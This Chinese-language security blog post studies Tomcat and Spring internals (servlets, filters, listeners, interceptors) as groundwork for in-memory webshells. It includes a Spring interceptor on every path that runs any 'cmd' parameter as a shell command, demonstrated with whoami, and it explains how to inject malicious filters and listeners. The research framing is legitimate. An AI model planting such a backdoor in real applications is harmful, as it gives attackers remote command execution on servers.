前言

根据解师傅文章进行学习https://xz.aliyun.com/u/56767

在正式介绍内存马相关知识前,有必要回顾一下Java的相关知识,正所谓一切的基础为代码,不了解底层原理如何进行攻防相关的研究

因此(一)即介绍跟内存马息息相关的知识,包括但不限于tomcat,spingboot,spingmvc等,具体请看目录

什么是Servlet

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,它早期的名称为catalina,后来由Apache、Sun 和其他一些公司及个人共同开发而成,并更名为Tomcat。Tomcat 是一个小型的轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选,因为Tomcat 技术先进、性能稳定,成为目前比较流行的Web 应用服务器。Tomcat是应用(java)服务器,它只是一个servlet容器,是Apache的扩展,但它是独立运行的。

从宏观上来看,Tomcat其实是Web服务器和Servlet容器的结合体。

Web服务器:通俗来讲就是将某台主机的资源文件映射成URL供给外界访问。(比如访问某台电脑上的图片文件)

Servlet容器:顾名思义就是存放Servlet对象的东西,Servlet主要作用是处理URL请求。(接受请求、处理请求、响应请求)

Tomcat中Servlet容器的设计原理

Tomcat设计了四种容器,分别是EngineHostContextWrapper,其关系如下:

Tomcat通过这样的分层的架构设计,使得Servlet容器具有良好的灵活性。一个Service最多只能有一个Engine,Engine表示引擎,用来管理多个虚拟主机的。Host代表就是一个虚拟主机,可以给Tomcat配置多个虚拟主机,一个虚拟主机下面可以部署多个Web应用。一个Context就表示一个Web应用,Web应用中会有多个Servlet,Wrapper就表示一个Servlet。

Tomcat的配置文件server.xml中看出来,在Tomcat的server.xml配置文件中,Tomcat采用组件化的设计,它的构成组件都是可以配置的。最外层的是Server。其他组件按照一定的格式要求配置在这个顶层容器中。

<?xml version="1.0" encoding="UTF-8"?>

<!-- 顶层组件,可以包含多个Service -->
<Server port="8005" shutdown="SHUTDOWN">

   <!-- 顶层组件,可以包含一个Engine,多个连接器 -->
  <Service name="Catalina">
      <!-- HTTP协议的连接器 -->
    <Connector port="8080" protocol="HTTP/1.1"
               connectionTimeout="20000"
               redirectPort="8443" />
      <!-- AJP协议的连接器 -->
    <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
      <!-- 一个Engine组件处理Service中的所有请求 -->
    <Engine name="Catalina" defaultHost="localhost">
		<!-- 处理特定的Host下的请求,可以包含多个Context -->
      <Host name="localhost"  appBase="webapps"
            unpackWARs="true" autoDeploy="true">
        <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
               prefix="localhost_access_log" suffix=".txt"
               pattern="%h %l %u %t "%r" %s %b" />
          <context></context> <!-- 为特定的Web应用处理所有的请求 -->
      </Host>
    </Engine>
  </Service>
</Server>

那么关于访问时的步骤以及走过的流程,又是什么样子的呢?当我们想要访问某个路径时,想要定位到具体的servlet时,tomcat设计了Mapper,其中保存了容器组件与访问路径的映射关系。例如我们想要访问https://xxx.com/8080/user/list

具体流程为:

  1. 根据协议和端口号选serviceengine

    我们知道Tomcat的每个连接器都监听不同的端口,比如Tomcat默认的HTTP连接器监听8080端口、默认的AJP连接器监听8009端口。上面例子中的URL访问的是8080端口,因此这个请求会被HTTP连接器接收,而一个连接器是属于一个Service组件的,这样Service组件就确定了。我们还知道一个Service组件里除了有多个连接器,还有一个容器组件,具体来说就是一个Engine容器,因此Service确定了也就意味着Engine也确定了。

  2. 根据域名选定host

    ServiceEngine确定后,Mapper组件通过url中的域名去查找相应的Host容器,比如例子中的url访问的域名是manage.xxx.com,因此Mapper会找到Host1这个容器。

  3. 根据url路径找到Context组件

    Host确定以后,Mapper根据url的路径来匹配相应的Web应用的路径,比如例子中访问的是/user,因此找到了Context1这个Context容器。

  4. 根据url路径找到WrapperServlet

    Context确定后,Mapper再根据web.xml中配置的Servlet映射路径来找到具体的WrapperServlet,例如这里的Wrapper1/list

画个图可能解释的更直白一些

这里的Context包括servlet运行的基本环境;这里的Wrapper负责管理一个servlet,包括其装载、初始化、执行和资源回收。

看一个tomcat的基本结构

Webapps 对应的就是 Host 组件,ROOT 和 example 对应的就是 Context 组件(Web应用),每个Context内包含Wrapper,Wrapper 负责管理容器内的 Servlet:

Servlet接口类有五个接口,分别是init(Servlet对象初始化时调用)、getServletConfig(获取web.xml中Servlet对应的init-param属性)、service(每次处理新的请求时调用)、getServletInfo(返回Servlet的配置信息,可自定义实现)、destroy(结束时调用):

编写一个简单的Servlet

也好久没写了,就当复习一下,创建项目写一下pom.xmlTestServlet.java如下

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>servletMemoryShell</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>javax.servlet-api</artifactId>
            <version>4.0.1</version>
        </dependency>
    </dependencies>

</project>
import java.io.IOException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet("/test")
public class TestServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        resp.getWriter().write("hello world");
    }
}

Maven同步一下依赖

接下来配置tomcat环境

我这里因为原来就有tomcat就没配置,本地无tomcat的直接去下一个然后点configure配置一下即可,然后点fix配置artifacts

下一步添加web模块File->Project Structure->Modules->Web

运行后访问http://localhost:8080/testServlet/test,即可看到成功效果输出hello world

PS:一直用spring太久没用tomcat导致路径错了有个依赖找不到,重新设置了一下tomcat路径就ok了

研究Servlet初始化与装载流程

重新创建项目,同样导入依赖即可,不过·这里我们没有用本地的tomcat而是为了方便使用嵌入式tomcat也就是所谓的tomcat-embed-core。关于动态调试,也是图省事,直接用tomcat-embed-core,比较方便,直接Main.java运行调试即可

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>servletMemoryShell</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-core</artifactId>
            <version>9.0.83</version>
            <scope>compile</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-jasper</artifactId>
            <version>9.0.83</version>
            <scope>compile</scope>
        </dependency>
    </dependencies>

</project>

Main.java

import org.apache.catalina.Context;
import org.apache.catalina.LifecycleException;
import org.apache.catalina.startup.Tomcat;
import java.io.File;

public class Main {
    public static void main(String[] args) throws LifecycleException {
        Tomcat tomcat = new Tomcat();
        tomcat.getConnector(); //tomcat 9.0以上需要加这行代码,参考:https://blog.csdn.net/qq_42944840/article/details/116349603
        Context context = tomcat.addWebapp("", new File(".").getAbsolutePath());
        Tomcat.addServlet(context, "helloServlet", new HelloServlet());
        context.addServletMappingDecoded("/hello", "helloServlet");
        tomcat.start();
        tomcat.getServer().await();
    }
}

HelloServlet.java

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet("/hello")
public class HelloServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        out.println("<html><body>");
        out.println("Hello, World!");
        out.println("</body></html>");
    }
}

Servlet初始化流程分析

直接定位到org.apache.catalina.core.StandardWrapper#setServletClass处下断点进行调试

我这里本地调试的时候出问题了Ctrl+鼠标左键Ctrl+Alt+F7都跳不到上一层,不知道哪里出了问题,就直接定位到上一步了,上层调用位置在org.apache.catalina.startup.ContextConfig#configureContext

对比我本地configContext和解师傅的文章,发现了问题所在,应该是环境差异导致的,所使用方法不同但功能一致,这里就把我的这一部分代码和网上师傅的代码都拿过来分析一下

解师傅的代码:

for (ServletDef servlet : webxml.getServlets().values()) {
            Wrapper wrapper = context.createWrapper();
            if (servlet.getLoadOnStartup() != null) {
                wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
            }
            if (servlet.getEnabled() != null) {
                wrapper.setEnabled(servlet.getEnabled().booleanValue());
            }
            wrapper.setName(servlet.getServletName());
            Map<String,String> params = servlet.getParameterMap();
            for (Entry<String, String> entry : params.entrySet()) {
                wrapper.addInitParameter(entry.getKey(), entry.getValue());
            }
            wrapper.setRunAs(servlet.getRunAs());
            Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
            for (SecurityRoleRef roleRef : roleRefs) {
                wrapper.addSecurityReference(
                        roleRef.getName(), roleRef.getLink());
            }
            wrapper.setServletClass(servlet.getServletClass());
            MultipartDef multipartdef = servlet.getMultipartDef();
            if (multipartdef != null) {
                long maxFileSize = -1;
                long maxRequestSize = -1;
                int fileSizeThreshold = 0;

                if(null != multipartdef.getMaxFileSize()) {
                    maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
                }
                if(null != multipartdef.getMaxRequestSize()) {
                    maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
                }
                if(null != multipartdef.getFileSizeThreshold()) {
                    fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
                }

                wrapper.setMultipartConfigElement(new MultipartConfigElement(
                        multipartdef.getLocation(),
                        maxFileSize,
                        maxRequestSize,
                        fileSizeThreshold));
            }
            if (servlet.getAsyncSupported() != null) {
                wrapper.setAsyncSupported(
                        servlet.getAsyncSupported().booleanValue());
            }
            wrapper.setOverridable(servlet.isOverridable());
            context.addChild(wrapper);
        }
        for (Entry<String, String> entry :
                webxml.getServletMappings().entrySet()) {
            context.addServletMappingDecoded(entry.getKey(), entry.getValue());
        }

我本地的代码,区别是while循环和for循环的区别以及单独的变量使得代码更好看一点不过没啥卵用

var35 = webxml.getServlets().values().iterator();

Iterator var7;
while(var35.hasNext()) {
    ServletDef servlet = (ServletDef)var35.next();
    Wrapper wrapper = this.context.createWrapper();
    if (servlet.getLoadOnStartup() != null) {
        wrapper.setLoadOnStartup(servlet.getLoadOnStartup());
    }

    if (servlet.getEnabled() != null) {
        wrapper.setEnabled(servlet.getEnabled());
    }

    wrapper.setName(servlet.getServletName());
    Map<String, String> params = servlet.getParameterMap();
    var7 = params.entrySet().iterator();

    while(var7.hasNext()) {
        Entry<String, String> entry = (Entry)var7.next();
        wrapper.addInitParameter((String)entry.getKey(), (String)entry.getValue());
    }

    wrapper.setRunAs(servlet.getRunAs());
    Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
    Iterator var37 = roleRefs.iterator();

    while(var37.hasNext()) {
        SecurityRoleRef roleRef = (SecurityRoleRef)var37.next();
        wrapper.addSecurityReference(roleRef.getName(), roleRef.getLink());
    }

    wrapper.setServletClass(servlet.getServletClass());
    MultipartDef multipartdef = servlet.getMultipartDef();
    if (multipartdef != null) {
        long maxFileSize = -1L;
        long maxRequestSize = -1L;
        int fileSizeThreshold = 0;
        if (null != multipartdef.getMaxFileSize()) {
            maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
        }

        if (null != multipartdef.getMaxRequestSize()) {
            maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
        }

        if (null != multipartdef.getFileSizeThreshold()) {
            fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
        }

        wrapper.setMultipartConfigElement(new MultipartConfigElement(multipartdef.getLocation(), maxFileSize, maxRequestSize, fileSizeThreshold));
    }

    if (servlet.getAsyncSupported() != null) {
        wrapper.setAsyncSupported(servlet.getAsyncSupported());
    }

    wrapper.setOverridable(servlet.isOverridable());
    this.context.addChild(wrapper);
}

var35 = webxml.getServletMappings().entrySet().iterator();

while(var35.hasNext()) {
    Entry<String, String> entry = (Entry)var35.next();
    this.context.addServletMappingDecoded((String)entry.getKey(), (String)entry.getValue());
}

师傅的这里是读取webxml.getServlets()获取所有的Servlet定义套到for循环里面,而我本地也是读取但是变量带入while循环里面

然后创建一个Wrapper对象,即Wrapper wrapper = this.context.createWrapper();这里的代码是一致的,并设置Servlet的加载顺序、是否启用(即获取</load-on-startup>标签的值)、Servlet的名称等基本属性

接着遍历Servlet的初始化参数并设置到Wrapper中,并处理安全角色引用、将角色和对应链接添加到Wrapper

如果Servlet定义中包含文件上传配置,则根据配置信息设置MultipartConfigElement;设置Servlet是否支持异步操作;通过context.addChild(wrapper);将配置好的Wrapper添加到Context中,完成Servlet的初始化过程。

最后的while循环负责处理Servleturl映射,将ServleturlServlet名称关联起来。

总结,Servlet的初始化流程主要经历以下步骤

  • 创建Wapper对象;
  • 设置ServletLoadOnStartUp的值;
  • 设置Servlet的名称;
  • 设置Servletclass
  • 将配置好的Wrapper添加到Context中;
  • urlservlet类做映射

Servlet装载流程分析

同样是上面的环境,我们在org.apache.catalina.core.StandardWrapper#loadServlet这里打下断点进行调试

往下翻翻,定位到org.apache.catalina.core.StandardContext#startInternal

可以看到,装载顺序为Listener–>Filter–>Servlet

可以看到loadOnStartup方法,跟进入此方法,我本地代码

public boolean loadOnStartup(Container[] children) {
    TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap();
    Container[] var3 = children;
    int var4 = children.length;

    for(int var5 = 0; var5 < var4; ++var5) {
        Container child = var3[var5];
        Wrapper wrapper = (Wrapper)child;
        int loadOnStartup = wrapper.getLoadOnStartup();
        if (loadOnStartup >= 0) {
            Integer key = loadOnStartup;
            ((ArrayList)map.computeIfAbsent(key, (k) -> {
                return new ArrayList();
            })).add(wrapper);
        }
    }

    Iterator var11 = map.values().iterator();

    while(var11.hasNext()) {
        ArrayList<Wrapper> list = (ArrayList)var11.next();
        Iterator var13 = list.iterator();

        while(var13.hasNext()) {
            Wrapper wrapper = (Wrapper)var13.next();

            try {
                wrapper.load();
            } catch (ServletException var10) {
                this.getLogger().error(sm.getString("standardContext.loadOnStartup.loadException", new Object[]{this.getName(), wrapper.getName()}), StandardWrapper.getRootCause(var10));
                if (this.getComputedFailCtxIfServletStartFails()) {
                    return false;
                }
            }
        }
    }

    return true;
}

解师傅环境代码

public boolean loadOnStartup(Container children[]) {
    TreeMap<Integer,ArrayList<Wrapper>> map = new TreeMap<>();
    for (Container child : children) {
        Wrapper wrapper = (Wrapper) child;
        int loadOnStartup = wrapper.getLoadOnStartup();
        if (loadOnStartup < 0) {
            continue;
        }
        Integer key = Integer.valueOf(loadOnStartup);
        map.computeIfAbsent(key, k -> new ArrayList<>()).add(wrapper);
    }
    for (ArrayList<Wrapper> list : map.values()) {
        for (Wrapper wrapper : list) {
            try {
                wrapper.load();
            } catch (ServletException e) {
                getLogger().error(
                        sm.getString("standardContext.loadOnStartup.loadException", getName(), wrapper.getName()),
                        StandardWrapper.getRootCause(e));
                if (getComputedFailCtxIfServletStartFails()) {
                    return false;
                }
            }
        }
    }
    return true;
}

这一段也跟解师傅的环境不同,但是功能一致

首先创建一个TreeMap,然后遍历传入的Container数组,将每个ServletloadOnStartup值作为键,将对应的Wrapper对象存储在相应的列表中;如果这个loadOnStartup值是负数,除非你请求访问它,否则就不会加载;如果是非负数,那么就按照这个loadOnStartup的升序的顺序来加载

Filter容器与FilterDefs、FilterConfigs、FilterMaps、FilterChain

简单来说,Filter容器是用于对请求和响应进行过滤和处理的

从上图可以看出,这个filter就是一个关卡,客户端的请求在经过filter之后才会到Servlet,那么如果我们动态创建一个filter并且将其放在最前面,我们的filter就会最先执行,当我们在filter中添加恶意代码,就可以实现命令执行,形成内存马。

首先,需要定义过滤器FilterDef,存放这些FilterDef的数组被称为FilterDefs,每个FilterDef定义了一个具体的过滤器,包括描述信息、名称、过滤器实例以及class等,这一点可以从org/apache/tomcat/util/descriptor/web/FilterDef.java的代码中看出来;然后是FilterDefs,它只是过滤器的抽象定义,而FilterConfigs则是这些过滤器的具体配置实例,我们可以为每个过滤器定义具体的配置参数,以满足系统的需求;紧接着是FilterMaps,它是用于将FilterConfigs映射到具体的请求路径或其他标识上,这样系统在处理请求时就能够根据请求的路径或标识找到对应的FilterConfigs,从而确定要执行的过滤器链;而FilterChain是由多个FilterConfigs组成的链式结构,它定义了过滤器的执行顺序,在处理请求时系统会按照FilterChain中的顺序依次执行每个过滤器,对请求进行过滤和处理。

编写一个简单的Filter

继续使用我们编写Servlet时用的环境,添加TestFilter.java

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter("/test")
public class testFilter implements Filter {

    public void init(FilterConfig filterConfig) {
        System.out.println("[*] Filter初始化创建");
    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("[*] Filter执行过滤操作");
        filterChain.doFilter(servletRequest, servletResponse);
    }

    public void destroy() {
        System.out.println("[*] Filter已销毁");
    }
}

跑起来后,控制台输出Filter初始化创建,当访问/test路径时,控制台输出Filter执行过滤操作,当关闭tomcat时,会触发destroy方法,控制台输出Filter已销毁

分析Filter运行的整体流程

在Demo中的doFilter函数打个断点进行调试

往下跟进查找,跟进到org.apache.catalina.core.StandardWrapperValve#invoke,跟进变量filterChain,找到定义处的代码

ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
filterChain.doFilter(request.getRequest(), response.getResponse());

Ctrl+鼠标左键进入查看createFilterChain方法(org.apache.catalina.core.ApplicationFilterFactory#createFilterChain):

public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
    if (servlet == null) {
        return null;
    } else {
        ApplicationFilterChain filterChain = null;
        if (request instanceof Request) {
            Request req = (Request)request;
            if (Globals.IS_SECURITY_ENABLED) {
                filterChain = new ApplicationFilterChain();
            } else {
                filterChain = (ApplicationFilterChain)req.getFilterChain();
                if (filterChain == null) {
                    filterChain = new ApplicationFilterChain();
                    req.setFilterChain(filterChain);
                }
            }
        } else {
            filterChain = new ApplicationFilterChain();
        }

        filterChain.setServlet(servlet);
        filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
        StandardContext context = (StandardContext)wrapper.getParent();
        FilterMap[] filterMaps = context.findFilterMaps();
        if (filterMaps != null && filterMaps.length != 0) {
            DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");
            String requestPath = null;
            Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
            if (attribute != null) {
                requestPath = attribute.toString();
            }

            String servletName = wrapper.getName();
            FilterMap[] var10 = filterMaps;
            int var11 = filterMaps.length;

            int var12;
            FilterMap filterMap;
            ApplicationFilterConfig filterConfig;
            for(var12 = 0; var12 < var11; ++var12) {
                filterMap = var10[var12];
                if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
                    filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
                    if (filterConfig != null) {
                        filterChain.addFilter(filterConfig);
                    }
                }
            }

            var10 = filterMaps;
            var11 = filterMaps.length;

            for(var12 = 0; var12 < var11; ++var12) {
                filterMap = var10[var12];
                if (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) {
                    filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
                    if (filterConfig != null) {
                        filterChain.addFilter(filterConfig);
                    }
                }
            }

            return filterChain;
        } else {
            return filterChain;
        }
    }
}

此段代码先是判断servlet是否为空,如果是就表示没有有效的servlet,无法创建过滤器链;然后根据传入的ServletRequest的类型来分类处理,如果是Request类型,并且启用了安全性,那么就创建一个新的ApplicationFilterChain,如果没启用,那么就尝试从请求中获取现有的过滤器链,如果不存在那么就创建一个新的;接着是设置过滤器链的Servlet和异步支持属性,这个没啥说的;关键点在于后面从Wrapper中获取父级上下文(StandardContext),然后获取该上下文中定义的过滤器映射数组(FilterMap);最后遍历过滤器映射数组,根据请求的DispatcherType和请求路径匹配过滤器,并将匹配的过滤器添加到过滤器链中,最终返回创建或更新后的过滤器链

继续跟进前面的filterChain.doFilter方法,位于org.apache.catalina.core.ApplicationFilterChain#doFilter

看到调用了internalDoFilter方法,跟进看一下方法代码

在这个方法中会依次拿到filterConfigfilter,那么我们的目的是打入内存马,也就是要动态地创建一个Filter,回顾之前的调试过程,我们发现在createFilterChain那个函数里面有两个关键点

现在我们再回顾之前我们跟进变量filterChain时打的断点位置,有两个关键关键方法org.apache.catalina.core.StandardContext#findFilterMaps和``org.apache.catalina.core.StandardContext#findFilterConfig`

追踪进两个方法的实现方法

public FilterMap[] findFilterMaps() {
    return this.filterMaps.asArray();
}
    public FilterConfig findFilterConfig(String name) {
    synchronized(this.filterDefs) {
        return (FilterConfig)this.filterConfigs.get(name);
    }
}

我们只需要查找到现有的上下文,然后往里面插入我们自定义的恶意过滤器映射和过滤器配置,就可以实现动态添加过滤器了

现在的问题就是如何添加filterMap和filterConfig,尝试搜索addFilterMap,发现两个相关方法,阅读代码addFilterMap是在一组映射末尾添加新的我们自定义的新映射;而addFilterMapBefore则会自动把我们创建的filterMap丢到第一位去,无需再手动排序

观察发现先执行了validateFilterMap这个方法,点进去看一眼,发现下面那个就是……

这里一个if判断我们需要保证它在根据filterNamefilterDef的时候,得能找到,也就是说,我们还得自定义filterDef并把它加入到filterDefs,尝试搜索一下是否有相关方法addFilterDef,可以看到存在此方法

那么接下来找一下是否存在filterConfig添加的方法,尝试搜索addFilterConfig,发现不存在,所以我们只能通过反射的方法去获取相关属性并添加进去。

Listener简单介绍

由图可知,Listener是最先被加载的,动态注册一个恶意的Listener,就又可以形成一种内存马了。

tomcat中,常见的Listener有以下几种:

  • ServletContextListener,用来监听整个Web应用程序的启动和关闭事件,需要实现contextInitializedcontextDestroyed这两个方法;
  • ServletRequestListener,用来监听HTTP请求的创建和销毁事件,需要实现requestInitializedrequestDestroyed这两个方法;
  • HttpSessionListener,用来监听HTTP会话的创建和销毁事件,需要实现sessionCreatedsessionDestroyed这两个方法;
  • HttpSessionAttributeListener,监听HTTP会话属性的添加、删除和替换事件,需要实现attributeAddedattributeRemovedattributeReplaced这三个方法。

很明显,ServletRequestListener是最适合做内存马的,因为它只要访问服务就能触发操作。

编写一个简单的Listener(ServletRequestListener)

使用前面使用的环境,替换掉之前的testFilter.java,重写一个test Listener.java

import javax.servlet.*;
import javax.servlet.annotation.WebListener;

@WebListener("/test")
public class testListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("[+] destroy TestListener");
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("[+] initial TestListener");
    }
}

分析Listener运行的整体流程

在下图两个位置打断点进行调试

依次往下跟进发现org.apache.catalina.core.StandardContext#listenerStart方法的调用,点进该方法阅读代码可以发现,实现了两个主要功能,一是通过findApplicationListeners找到这些Listerner的名字;二是实例化这些listener

接下来的代码就是分类摆放,我们需要的ServletRequestListener被放在了eventListeners里面,谁写的这破代码

分类摆放完注意到下面这行代码

eventListeners.addAll(Arrays.asList(getApplicationEventListeners()));

Arrays.asList(...) 将数组转换为列表;eventListeners.addAll(...)将括号里面的内容添加到之前实例化的监听器列表 eventListeners 中,括号中的方法追踪进去看一下

public Object[] getApplicationEventListeners() {
    return this.applicationEventListenersList.toArray();
}

该方法就是把applicationEventListenersList转换成一个包含任意类型对象的数组,也就是一个可能包含各种类型的应用程序事件监听器的数组。

那么就比较明显了Listener有两个来源,一是根据web.xml文件或者@WebListener注解实例化得到的Listener,我们无法进行控制;二是applicationEventListenersList中的Listener,需要寻找一下是否有相应类似于addFilterConfig的函数,CTRL+鼠标左键往上找,最终在找到了这个方法在org.apache.catalina.core.StandardContext#addApplicationEventListener

简单的spring项目搭建

解决Spring Initializr只能创建为Java 17版本以上的问题

在默认IDEA中,spring Initializr Server urlstart.spring.io,此时我们发现Java支支持17以上,SpringBoot也仅支持3.27以上

查阅相关资料发现是因为 Spring Boot 官方不再支持 Spring Boot 的 2.x 版本了,之后全力维护 3.x;而 Spring Boot 3.x 对 JDK 版本的最低要求是 17。

解决办法便是替换为国内支持的server url例如阿里云的:https://start.aliyun.com这时候就可以正常使用Java8以及spingboot的2.x版本了

搭建spring项目

将所需要的选择进去,直接finish

等待依赖解析完成,这里给我们准备了一个示例,我们可以直接跑起来:

另外的问题

这里环境搭建还遇到过一个问题,在昨天的时候也是类似的步骤但是依赖一直报错,报错位置在pom.xml中,当时并未截图记录,但是今天重新创建的时候就ok了

查阅了相关资料,可能的解决方法有

  1. 重启IDEA,可能是软件缓存导致的问题
  2. 如果还不能解决,那么就在报错的那一行手动添加进去版本号

编写一个简单的Spring Controller

package com.example.springdemo.demos.web;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class TestController {
    @ResponseBody
    @RequestMapping("/")
    public String test(){
        return "hello world";
    }
}

运行访问即可

编写一个简单的Spring Interceptor

TestInterceptor.java

package com.example.springdemo.demos.web;

import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class TestInterceptor extends HandlerInterceptorAdapter {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String cmd = request.getParameter("cmd");
        if(cmd != null){
            try {
                java.io.PrintWriter writer = response.getWriter();
                String output = "";
                ProcessBuilder processBuilder;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd);
                }else{
                    processBuilder = new ProcessBuilder("/bin/sh", "-c", cmd);
                }
                java.util.Scanner inputScanner = new java.util.Scanner(processBuilder.start().getInputStream()).useDelimiter("\\A");
                output = inputScanner.hasNext() ? inputScanner.next(): output;
                inputScanner.close();
                writer.write(output);
                writer.flush();
                writer.close();
            } catch (Exception ignored){}
            return false;
        }
        return true;
    }
}

WebConfig.java

package com.example.springdemo.demos.web;

import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

@Configuration
public class WebConfig implements WebMvcConfigurer {

    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new TestInterceptor()).addPathPatterns("/**");
    }
}

前面的Spring Controller可以继续用,运行后访问http://127.0.0.1:8080/?cmd=whoami

编写一个简单的Spring WebFlux的Demo(基于Netty)

新建一个项目,跟上面同样的配置

第二部spring boot选择Spring Reactive Web,可以看到采用的是Netty+SpringWebFlux

接着新建两个文件,为了方便我创建了一个新的包hello,方便阅读

GreetingHandler.java

package com.example.webfluxmemoryshelldemo.hello;

import org.springframework.http.MediaType;
import org.springframework.stereotype.Component;
import org.springframework.web.reactive.function.BodyInserters;
import org.springframework.web.reactive.function.server.ServerRequest;
import org.springframework.web.reactive.function.server.ServerResponse;
import reactor.core.publisher.Mono;

@Component
public class GreetingHandler {
    public Mono<ServerResponse> hello(ServerRequest request) {
        return ServerResponse.ok().contentType(MediaType.TEXT_PLAIN).body(BodyInserters.fromValue("Hello, Spring!"));
    }
}

GreetingRouter.java

package com.example.webfluxmemoryshelldemo.hello;

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.http.MediaType;
import org.springframework.web.reactive.function.server.*;

@Configuration
public class GreetingRouter {
    @Bean
    public RouterFunction<ServerResponse> route(GreetingHandler greetingHandler) {
        return RouterFunctions.route(RequestPredicates.GET("/hello").and(RequestPredicates.accept(MediaType.TEXT_PLAIN)), greetingHandler::hello);
    }
}

新建main/resources文件夹,然后新建application.properties,通过server.port来控制netty服务的端口:

server.port=9191

接着我们运行项目,访问http://localhost:9191/hello,看到效果

关于这个框架如何使用大家可以去网上找一下相关资料,这里就不再赘述

Spring MVC介绍

想要深入理解Spring MVC框架型内存马,那么对Spring MVC的基础了解是必不可少的,根据解师傅的图重制了一张,用图来了解Spring MVC的核心组件和大致处理流程还是很清晰的

![](https://img1.plumstar.cn/upload5sping mvc流程图.jpg)

关于上图中名词:

  • DispatcherServlet是前端控制器,它负责接收Request并将Request转发给对应的处理组件;
  • HandlerMapping负责完成urlController映射,可以通过它来找到对应的处理RequestController
  • Controller处理Request,并返回ModelAndVIew对象,ModelAndView是封装结果视图的组件;
  • ④~⑦表示视图解析器解析ModelAndView对象并返回对应的视图给客户端。

关于IOC容器,通俗点来说就是把管理权从代码反转到容器:

IOC(控制反转)容器是Spring框架的核心概念之一,它的基本思想是将对象的创建、组装、管理等控制权从应用程序代码反转到容器,使得应用程序组件无需直接管理它们的依赖关系。IOC容器主要负责对象的创建、依赖注入、生命周期管理和配置管理等。Spring框架提供了多种实现IOC容器的方式,下面讲两种常见的:

